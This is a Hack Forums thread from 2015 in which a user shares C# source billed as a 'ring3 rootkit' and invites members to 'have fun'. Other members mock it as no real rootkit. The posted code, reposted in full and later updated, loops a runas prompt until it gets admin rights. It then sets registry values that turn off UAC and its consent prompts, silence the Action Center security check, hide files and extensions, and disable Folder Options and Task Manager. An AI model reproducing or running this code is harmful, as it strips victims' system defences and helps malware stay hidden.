

Forum:[Hack Forums](#)

Thread: [C# Rootkit](#)

N3Cr0M0rPh - December 7, 2015, 5:36 am

Hey guys I coded a simple ring3 rootkit in C#

It has:

Disable taskmanager

Disable UAC

UAC Bypass

Disable folder options

Disable View Hidden Files

Code public static bool IsAdministrator()

```
{
    var identity = WindowsIdentity.GetCurrent();
    var principal = new WindowsPrincipal(identity);
    return principal.IsInRole(WindowsBuiltInRole.Administrator);
}
public static bool LaunchAsAdmin()
{
    string fileName = Assembly.GetExecutingAssembly().Location;
    ProcessStartInfo processInfo = new ProcessStartInfo();
    processInfo.Verb = "runas";
    processInfo.FileName = fileName;

    try
    {
        Process.Start(processInfo);
    }
    catch (Win32Exception)
    {
        return false;
    }
    return true;
}
public static bool ByPassUAC()
{
    if (IsAdministrator())
    {
```

```
        try {
```

```
            //disable UAC
```

```
            RegistryKey uac =
```

```
Registry.CurrentUser.OpenSubKey("Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\System", true);
```

```
            if (uac == null)
```

```
            {
```

```
                uac =
```

```
Registry.CurrentUser.CreateSubKey("Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\System");
```

```

    }
    uac.SetValue("EnableLUA", 1);
    uac.Close();

    //Disable view hidden files all across the board
    RegistryKey ShowSuperHidden =
Registry.CurrentUser.OpenSubKey(@"HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\Cu
rrentVersion\\Explorer\\Advanced", true);
    ShowSuperHidden.SetValue("ShowSuperHidden", 0, RegistryValueKind.DWord);
    ShowSuperHidden.Close();
    RegistryKey HideFileExt =
Registry.CurrentUser.OpenSubKey(@"HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\Cu
rrentVersion\\Explorer\\Advanced", true);
    HideFileExt.SetValue("HideFileExt", 1, RegistryValueKind.DWord);
    HideFileExt.Close();
    RegistryKey HideDrivesWithNoMedia =
Registry.CurrentUser.OpenSubKey(@"HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\Cu
rrentVersion\\Explorer\\Advanced", true);
    HideDrivesWithNoMedia.SetValue("HideDrivesWithNoMedia", 1,
RegistryValueKind.DWord);
    HideDrivesWithNoMedia.Close();
    //Disable Folder Options
    RegistryKey NoFolderOptions =
Registry.CurrentUser.OpenSubKey(@"HKEY_LOCAL_MACHINE\\Software\\Microsoft\\Windows\\C
urrentVersion\\Policies\\Explorer", true);
    NoFolderOptions.SetValue("NoFolderOptions", 1, RegistryValueKind.DWord);
    NoFolderOptions.Close();

    //Disable Task manager
    RegistryKey DisableTaskMgr =
Registry.CurrentUser.OpenSubKey(@"HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\Cu
rrentVersion\\Policies\\System", true);
    DisableTaskMgr.SetValue("DisableTaskMgr", 1, RegistryValueKind.DWord);
    DisableTaskMgr.Close();
} catch
{

}
return true;
}
bool Ran = false;
while (Ran != true)
{
    Ran = LaunchAsAdmin();
}
Environment.Exit(0);
return true;
}Have fun HF! ?

```

This is a little bit of the source code from thanatos IRC btw

Not sure how good it actually is but thanks for the free release ?

He B TeMy - December 7, 2015, 6:34 am

You're not disabling UAC, even if you were, you need a reboot, it doesn't work above windows 7 too, nor XP, but you don't seem to care about that.

Nice useless variable declaration and while loop, why you don't just use 'else'?
Environment.Exit(0) and followed by a return call, what a moron.

Joshmills - December 7, 2015, 6:36 am

This has been reposted.

This is not a "rootkit" you wont even have a real rootkit in c# and this isnt anywhere close to having one.

best you can do is import a dll made in c++ and inject into everything lmao

N3Cr0M0rPh - December 7, 2015, 7:01 am

(Dec 7, 2015 07:36 AM)Joshmills Wrote: [\[CITE\]](#) This has been reposted.

This is not a "rootkit" you wont even have a real rootkit in c# and this isnt anywhere close to having one.

best you can do is import a dll made in c++ and inject into everything lmao

This isnt a repost, its my own code.

excr4sh - December 7, 2015, 9:36 am

except that to disable UAC, you need admin rights...

N3Cr0M0rPh - December 7, 2015, 10:24 am

(Dec 7, 2015 10:36 AM)FordCI Wrote: [\[CITE\]](#) except that to disable UAC, you need admin rights...

It requests for admin...

BahNahNah - December 7, 2015, 1:20 pm

This is not a rootkit.

You cant make rootkits in .Net.

NewPath - December 7, 2015, 1:22 pm

(Dec 7, 2015 06:36 AM)N3Cr0M0rPh Wrote: [\[CITE\]](#) Hey guys I coded a simple ring3 rootkit in C#

It has:

Disable taskmanager

Disable UAC

UAC Bypass

Disable folder options

Disable View Hidden Files

Code public static bool IsAdministrator()

```
{
    var identity = WindowsIdentity.GetCurrent();
    var principal = new WindowsPrincipal(identity);
    return principal.IsInRole(WindowsBuiltInRole.Administrator);
}
public static bool LaunchAsAdmin()
{
    string fileName = Assembly.GetExecutingAssembly().Location;
    ProcessStartInfo processInfo = new ProcessStartInfo();
    processInfo.Verb = "runas";
```

```

processInfo.FileName = fileName;

try
{
    Process.Start(processInfo);
}
catch (Win32Exception)
{
    return false;
}
return true;
}
public static bool BypassUAC()
{
    if (IsAdministrator())
    {
        try {
            //disable UAC
            RegistryKey uac =
Registry.CurrentUser.OpenSubKey("Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\System", true);
            if (uac == null)
            {
                uac =
Registry.CurrentUser.CreateSubKey("Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\System");
            }
            uac.SetValue("EnableLUA", 1);
            uac.Close();

            //Disable view hidden files all across the board
            RegistryKey ShowSuperHidden =
Registry.CurrentUser.OpenSubKey(@"HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\Advanced", true);
            ShowSuperHidden.SetValue("ShowSuperHidden", 0, RegistryValueKind.DWord);
            ShowSuperHidden.Close();
            RegistryKey HideFileExt =
Registry.CurrentUser.OpenSubKey(@"HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\Advanced", true);
            HideFileExt.SetValue("HideFileExt", 1, RegistryValueKind.DWord);
            HideFileExt.Close();
            RegistryKey HideDrivesWithNoMedia =
Registry.CurrentUser.OpenSubKey(@"HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\Advanced", true);
            HideDrivesWithNoMedia.SetValue("HideDrivesWithNoMedia", 1,
RegistryValueKind.DWord);
            HideDrivesWithNoMedia.Close();
            //Disable Folder Options
            RegistryKey NoFolderOptions =
Registry.CurrentUser.OpenSubKey(@"HKEY_LOCAL_MACHINE\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer", true);
            NoFolderOptions.SetValue("NoFolderOptions", 1, RegistryValueKind.DWord);
            NoFolderOptions.Close();

```

```

        //Disable Task manager
        RegistryKey DisableTaskMgr =
Registry.CurrentUser.OpenSubKey(@"HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\Cu
rrentVersion\\Policies\\System", true);
        DisableTaskMgr.SetValue("DisableTaskMgr", 1, RegistryValueKind.DWord);
        DisableTaskMgr.Close();
    } catch
    {

    }
    return true;
}
bool Ran = false;
while (Ran != true)
{
    Ran = LaunchAsAdmin();
}
Environment.Exit(0);
return true;
}Have fun HF! ?

```

This is a little bit of the source code from thanatos IRC btw
This shit code is not a rootkit. Oh I love silly kids makes me think of my childhood.

(Dec 7, 2015 02:20 PM)BahNahNah Wrote: [\[CITE\]](#) This is not a rootkit.
You cant make rootkits in .Net.
Can you call the winapi in .net yes can you make a rootkit in .net yes.
Is it the right thing to make one in .net no but you can.

(Dec 7, 2015 07:36 AM)Joshmills Wrote: [\[CITE\]](#) This has been reposted.
This is not a "rootkit" you wont even have a real rootkit in c# and this isnt anywhere close to having
one.
best you can do is import a dll made in c++ and inject into everything lmao
You can inject code directly in .net by calling the winapi no need to use LoadLibrary

He B TeMy - December 7, 2015, 1:42 pm

(Dec 7, 2015 11:24 AM)N3Cr0M0rPh Wrote: [\[CITE\]](#) It requests for admin...
I may be pointing the obvious, but since you didn't reply to my previous post, you're setting the
EnableLUA to '1', that's not disabling UAC.

I know i need to point this out to you after you just coded a 'rootkit'.

N3Cr0M0rPh - December 7, 2015, 2:57 pm

(Dec 7, 2015 02:42 PM)He B TeMy Wrote: [\[CITE\]](#) I may be pointing the obvious, but since you didn't
reply to my previous post, you're setting the EnableLUA to '1', that's not disabling UAC.

I know i need to point this out to you after you just coded a 'rootkit'.
Just an antiskid thing lol
I know its not a true "rootkit" nevertheless its a user mode rootkit,
a real rootkit uses kernel hooks nd shit. If I coded a real one I obviously wouldn't be posting it on hf

BahNahNah - December 7, 2015, 2:58 pm

(Dec 7, 2015 03:57 PM)N3Cr0M0rPh Wrote: [\[CITE\]](#) Just an antiskid thing lol
I know its not a true "rootkit" nevertheless its a user mode rootkit,
a real rootkit uses kernel hooks nd shit. If I coded a real one I obviously wouldn't be posting it on hf
Im not sure you understand what a rootkit is.
You cant make a rootkit in C#, you need a low level language.

eCoLoGy - December 7, 2015, 3:06 pm

(Dec 7, 2015 03:58 PM)BahNahNah Wrote: [\[CITE\]](#) Im not sure you understand what a rootkit is.
You cant make a rootkit in C#, you need a low level language.
This!
I suggest going with Pascal. ?

true - December 7, 2015, 3:28 pm

(Dec 7, 2015 03:58 PM)BahNahNah Wrote: [\[CITE\]](#) Im not sure you understand what a rootkit is.
You cant make a rootkit in C#, you need a low level language.
Couldn't you make one if it was a ring 3 rootkit?(Not familiar with rootkit's, just curious)

Yoshikage Kira - December 7, 2015, 3:32 pm

(Dec 7, 2015 03:57 PM)N3Cr0M0rPh Wrote: [\[CITE\]](#) Just an antiskid thing lol
I know its not a true "rootkit" nevertheless its a user mode rootkit,
a real rootkit uses kernel hooks nd shit. If I coded a real one I obviously wouldn't be posting it on hf
You're hilarious, this "shit" that you posted is not a ring3 userkit.

perilperilperil - December 7, 2015, 3:35 pm

Where is the kernel mode driver? Win32 ui? I think not

BahNahNah - December 7, 2015, 3:59 pm

(Dec 7, 2015 04:28 PM)gdawgholmes Wrote: [\[CITE\]](#) Couldn't you make one if it was a ring 3
rootkit?(Not familiar with rootkit's, just curious)
Ring3 is not a rootkit.

true - December 7, 2015, 4:02 pm

(Dec 7, 2015 04:59 PM)BahNahNah Wrote: [\[CITE\]](#) Ring3 is not a rootkit.
It said it was [here](#), though?

Infinity. - December 7, 2015, 4:02 pm

> Rootkit
> C#
> u w0t?

excr4sh - December 8, 2015, 12:41 am

(Dec 7, 2015 11:24 AM)N3Cr0M0rPh Wrote: [\[CITE\]](#) It requests for admin...
except that is not UAC bypass man...

eCoLoGy - December 8, 2015, 1:27 am

Just close this topic please...

biscuit deluxe - December 8, 2015, 1:48 am

Ring3 is a rootkit man...

excr4sh - December 8, 2015, 1:50 am

(Dec 8, 2015 02:48 AM)Epik- Wrote: [\[CITE\]](#) Ring3 is a rootkit man...

Ring3 is not a rootkit bro, Ring3 is where user mode applications run, but that doesn't mean "Ring3" is a rootkit.

biscuit deluxe - December 8, 2015, 1:58 am

(Dec 8, 2015 02:50 AM)FordCI Wrote: [CITE](#) Ring3 is not a rootkit bro, Ring3 is where user mode applications run, but that doesn't mean "Ring3" is a rootkit.

Yes I know. I was mocking someone if you didn't notice. By the way ring3 is not a location, it's a mode or level of privilege.

excr4sh - December 8, 2015, 2:09 am

Oh and yes, it's possible to code a Ring3 Rootkit in C#. Rootkits don't necessarily need to hook a function or inject its code, they could be implemented as a DLL, which use the callback functions that the operating system provides to change the behavior of the applications, of course, they are very limited and not as useful as a native one.

maldev0 - December 8, 2015, 6:52 am

I guess it's not impossible to hook NtQuerySystemInfo and so on in order to get a full working rootkit in c# ..

N3Cr0M0rPh - December 8, 2015, 6:10 pm

I updated it:

```
Code public static bool IsAdministrator()
{
    var identity = WindowsIdentity.GetCurrent();
    var principal = new WindowsPrincipal(identity);
    return principal.IsInRole(WindowsBuiltInRole.Administrator);
}
public static bool LaunchAsAdmin()
{
    string fileName = Assembly.GetExecutingAssembly().Location;
    ProcessStartInfo processInfo = new ProcessStartInfo();
    processInfo.Verb = "runas";
    processInfo.FileName = fileName;

    try
    {
        Process.Start(processInfo);
    }
    catch (Win32Exception)
    {
        return false;
    }
    return true;
}
static byte[] GetBytes(string str)
{
    byte[] bytes = new byte[str.Length * sizeof(char)];
    System.Buffer.BlockCopy(str.ToCharArray(), 0, bytes, 0, bytes.Length);
    return bytes;
}
public static bool ByPassUAC()
{
    if (IsAdministrator())
```

```
{
    try {
        //disable UAC

        Microsoft.Win32.Registry.SetValue("HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\System", "EnableLUA", 0);

        Microsoft.Win32.Registry.SetValue("HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\System", "ConsentPromptBehaviorAdmin", 0);

        Microsoft.Win32.Registry.SetValue("HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\System", "PromptOnSecureDesktop", 0);

        Microsoft.Win32.Registry.SetValue("HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\ActionCenter\\Checks\\{C8E6F269-B90A-4053-A3BE-499AFCEC98C4}.check.0", "CheckSetting", GetBytes("23004100430042006C006F00620000000000000000000000000000000000000000"), RegistryValueKind.Binary);

        //Disable view hidden files all across the board
        RegistryKey ShowSuperHidden =
Registry.CurrentUser.OpenSubKey(@"HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\Advanced", true);
ShowSuperHidden.SetValue("ShowSuperHidden", 0, RegistryValueKind.DWord);
ShowSuperHidden.Close();
        RegistryKey HideFileExt =
Registry.CurrentUser.OpenSubKey(@"HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\Advanced", true);
HideFileExt.SetValue("HideFileExt", 1, RegistryValueKind.DWord);
HideFileExt.Close();
        RegistryKey HideDrivesWithNoMedia =
Registry.CurrentUser.OpenSubKey(@"HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\Advanced", true);
HideDrivesWithNoMedia.SetValue("HideDrivesWithNoMedia", 1, RegistryValueKind.DWord);
HideDrivesWithNoMedia.Close();
        //Disable Folder Options
        RegistryKey NoFolderOptions =
Registry.CurrentUser.OpenSubKey(@"HKEY_LOCAL_MACHINE\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer", true);
NoFolderOptions.SetValue("NoFolderOptions", 1, RegistryValueKind.DWord);
NoFolderOptions.Close();

        //Disable Task manager
        RegistryKey DisableTaskMgr =
Registry.CurrentUser.OpenSubKey(@"HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\System", true);
DisableTaskMgr.SetValue("DisableTaskMgr", 1, RegistryValueKind.DWord);
DisableTaskMgr.Close();
    } catch
```

```

    {
    }
    return true;
}
bool Ran = false;
while (Ran != true)
{
    Ran = LaunchAsAdmin();
}
Environment.Exit(0);
return true;
}

```

jujuger - December 9, 2015, 10:06 am

This "ring3 rootkit" is false advertising.

It does not bypass UAC, it turns off UAC, and for that you need UAC. This is shit, lest someone runs it as admin. Still, not a rootkit.

GhostCode - December 10, 2015, 4:38 am

(Dec 7, 2015 02:20 PM)BahNahNah Wrote: [CITE](#) This is not a rootkit.

You cant make rootkits in .Net.Well this is not entirely true.

However, the code OP posted can't be considered a rootkit.

His so called "UAC Bypass" is a simple disabling of the UAC by registry which requires administrative privileges and a reboot of the system if I remember that correctly.

Furthermore his code doesn't really "hide" a registry key, it just sets the superhidden attribute.

@OP : To code a rootkit I suggest to switch to a native language such as C or ASM.

Even tho it can be achieved with C# I wouldn't recommend using that language for such a purpose.

Pepeillo - December 11, 2015, 9:31 am

Thanks for sharing. Anyone can help me to find "presentation thread"? Or rules about post for noobs?

Greetings.

Marvincmarvin. - December 14, 2015, 7:57 pm

By definition it is a rootkit, not a good one, but it is. And yes you can detour windows api functions in C#. It won't be easy or pretty, you'll probably have to build assembly code dynamically (which I believe someone has done already in C#) and use some crazy voodoo winapi magic.

jenjente110 - December 5, 2016, 10:19 am

Thanks For Sharing We Need more functions